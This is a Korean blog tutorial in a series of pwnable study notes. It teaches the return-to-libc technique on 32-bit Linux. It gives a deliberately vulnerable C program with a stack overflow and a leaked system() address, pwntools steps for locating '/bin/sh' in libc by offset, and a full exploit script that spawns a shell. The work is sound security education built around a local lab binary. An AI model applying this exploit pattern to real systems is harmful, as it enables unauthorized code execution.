포너블 스터디 #5

연 구

2019.06.21 14:35

RTL, Return to Library

오늘 주제는 Return to Library(이하 RTL)을 소개하려고 합니다. 이름 그대로 라이브러리, 즉 libc와 같은 공유 라이브러리로 간다는 말입니다. 이전글 까지 저희는 스택에서 RET를 조작해 프로그램 내의 어떤 로직을 수행하거나, 쉘코드를 수행하는 방식으로 쉘을 획득했습니다.

 

지금까지 배운 내용을 기반으로 한다면 더 많은것을 하기 위해서는 확실히 답답함을 느낄수 있습니다. 또 NX bit가 걸려있는 바이너리인 경우 조금 자유로운 쉘코드를 사용하는것도 막히니 더 이상 프로그램에 존재하는 특정한 로직 외에는 수행할 수 없는 시나리오가 발생합니다.

 

문제점을 알아봤으니 해결법을 알아보도록 하겠습니다. 먼저 위에 "공유 라이브러리에 간다"의 의미를 설명하자면 공유 라이브러리에는 흔히 프로그래밍에서 사용하는 함수들 대부분이 존재합니다. 가령 printf, system, execve, read, write, etc...등 공격자의 구미가 당기는 다양하고 유용한 함수들이 존재합니다. 이를 적극적으로 활용하는것이 RTL 기법입니다.

 

그렇다면 이 기법은 어떤식으로 이뤄지는걸까요? 저희는 앞서 RET로 프로그램의 실행 흐름을 조작할 수 있었습니다. 단순히 말하자면 libc(공유 라이브러리)에 있는 함수의 주소를 RET에 작성하면 "공유 라이브러리에 간다"가 실현됩니다. RET을 조작해 특정 함수를 조작하는건 이미 했지만 앞서 저희가 진행한 방식에서는 단지 호출을 할 뿐 매개변수의 내용을 바꾸거나 추가할 수 없었습니다.

 

본격적으로 실습을 들어가기 앞서 먼저 인자를 전달하는 방법을 간단히 상기하고 시작해보도록 하겠습니다.

아키텍쳐 매개변수 전달 매체
X86 스택
X64 레지스터

먼저 시작은 간단하게 X86으로 시작해 다음시간에 배울 ROP를 추가적으로 사용해 X64를 환경에서 실습하겠습니다.

 

X86으로 설명을 하자면 다음과 같은 코드에 대한 인자 전달을 아래와 같습니다.

func(1, 2, 3);

push 3
push 2
push 1
call func

push가 오른쪽에서 왼쪽순(3->2->1)으로 전달돼 마지막으로 call로 함수가 호출되는 구조입니다. 함수가 호출된 후 스택의 모양은 다음과 같습니다.

EBP EBP+4 EBP+8 EBP+0xc EBP+0x10
SFP RET 1 2 3

위 테이블에서의 핵심은 아래와 같습니다.

  • RET 다음으로 오는 스택에는 인자값들이 들어있다. 
  • 스택에서 overflow가 되면 인자값을 추가, 조작할 수 있다.

그러니 libc의 방대한 함수를 사용하며 원하는 인자값을 넘겨줘 함수를 호출할 수 있다라는게 RTL의 목적(추가적으로 NXbit도 우회할 수 있습니다.)입니다.

 

실습

// gcc -fno-stack-protector -m32 -o rtl_example rtl_example.c -ldl

#define _GNU_SOURCE
#include <dlfcn.h>

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vuln()
{
        char cmd[100];
        void (*pfnSystem)() = dlsym(RTLD_NEXT, "system");

        printf("[INFO] system() : 0x%x\n", pfnSystem);   
        read(0, cmd, 0x100);

        return;
}

int main(int argc, char ** argv, char ** envp)
{
        vuln();
        return 0;
}

코드를 설명하면 동적라이브러리에서 system의 주소를 가져옵니다. 이 경우 ASLR로 인해 LIBC가 랜덤한 위치에 존재하기 때문에 이렇게 코드에서 가져옵니다. 다시말해 RTL의 방어기법 중 하나는 이런식으로 공유 라이브러리를 랜덤하게 위치시키는 방법이 있습니다.

 

저희는 시작하는 입장이며, RTL의 흐름을 이해하기 위해서 프로그램 내부에서 system함수를 제공하는 시나리오를 가지겠습니다. 이후 read로 0x100(256)을 받는데 cmd의 크기는 100byte라서, 이때 스택 오버플로우가 발생하게 됩니다.

 

이제 시나리오를 작성해봅시다.

  • 저희는 어떤 쉘 명령을 수행할 수 있는 system함수의 공유 라이브러리내 주소를 알 수 있습니다.
  • 해당 주소를 RET에 작성하고 RET이후 첫번째 스택에 인자로 "/bin/sh"를 작성합니다.
  • 최종적으로 system("/bin/sh");가 호출됩니다.

여기서 잠깐 멈칫할 수 있습니다. 저희에겐 "/bin/sh"라는 문자열이 없습니다. 분명 cmd에 입력을 받지만 스택의 주소는 현재 할 수 없어 활용할 수 없습니다. 여기서 팁이라면 libc 내부에서도 "/bin/sh"가 하드코딩되어 있습니다. 이는 내부 함수에 sh를 사용하는 부분이 있기 때문에 그렇습니다. libc 내부에 "/bin/sh"를 찾는건 다음과 같이 pwntools를 활용하면 간단하게 수행됩니다.

 

heiz@fhz:~/workspace$ ldd rtl_example
        linux-gate.so.1 (0xf7f37000)
        libdl.so.2 => /lib32/libdl.so.2 (0xf7f21000)
        libc.so.6 => /lib32/libc.so.6 (0xf7d48000)
        /lib/ld-linux.so.2 (0xf7f39000)
heiz@fhz:~/workspace$ python
Python 2.7.15+ (default, Nov 27 2018, 23:36:35) 
[GCC 7.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import *
>>> libc = ELF('/lib32/libc.so.6')
[*] '/lib32/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
>>> hex(list(libc.search('/bin/sh'))[0])
'0x17b8cf'

ldd 명령어로 libc의 위치를 찾고 해당 libc를 pwntools을 이용해 쉽게 정보를 추출합니다. 하지만 여기서 중요한 부분이 있습니다. 알아낸 "/bin/sh"의 위치 0x17b8cf는 메모리에 올라가면 달라지게 됩니다. 이 주소는 바이너리 파일 내부에 존재하는 주소이기 때문입니다. 이를 동적으로 알기 위해서는 libc 내부에 특정한 위치를 알고 있으면 됩니다.(이 경우는 system함수의 시작주소를 알고있습니다.)

 

어떻게 libc의 내부에 위치한 주소를 동적으로 알면 다른 주소도 알수있는건 offset을 통해 알 수 있습니다.

>>> libc.functions['system'].address
249104
>>> list(libc.search('/bin/sh'))[0]
1554639
>>> list(libc.search('/bin/sh'))[0] - libc.functions['system'].address
1305535

당연하게도 빌드된 바이너리는 데이터에 고정된 위치에 있고 만약 한 기준점에서 특정 offset를 더하거나 빼면 기준점이 변해도 동일한 위치의 데이터를 가리킬수있습니다. 이는 굉장히 유용한 성질이라고 할 수 있습니다.

 

이를 통해서 system에서 +1305535를 하게 되면 libc 내부에 있는 "/bin/sh"를 찾을 수 있습니다.

 

이제 바이너리를 분석해 얼만큼 버퍼를 채워야하는지에 대해서만 알아내면 다음은 간단하게 진행됩니다.

#!/usr/bin/env python
from pwn import *

context.update(arch='i386', os='linux', log_level='debug')

def main():
    e    = ELF('./rtl_example')
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    proc = process('./rtl_example')

    proc.recvuntil(': ')
    libc_system = int(proc.recvuntil('\n', 16), 16)
    log.info('system() address : {}'.format(libc_system))
    offset_binsh  = list(libc.search('/bin/sh'))[0] - libc.functions['system'].address
    libc_binsh    = libc_system + offset_binsh
    log.info('binsh address : {}'.format(libc_binsh))

    payload = 'A'*0x74          # buffer + SFP
    payload += p32(libc_system) # ret
    payload += 'A'*4            # next ret
    payload += p32(libc_binsh)  # parameter1
    proc.sendline(payload)

    proc.interactive()

if __name__ == '__main__':
    main()

 

'연 구' 카테고리의 다른 글

std::c++ ?  (0) 2019.06.23
포너블 스터디 #5  (0) 2019.06.21
포너블 스터디 #4  (0) 2019.06.01
포너블 스터디 #3  (0) 2019.05.25
포너블 스터디 #2  (0) 2019.05.19
MBR을 알아보는 시간  (0) 2018.10.16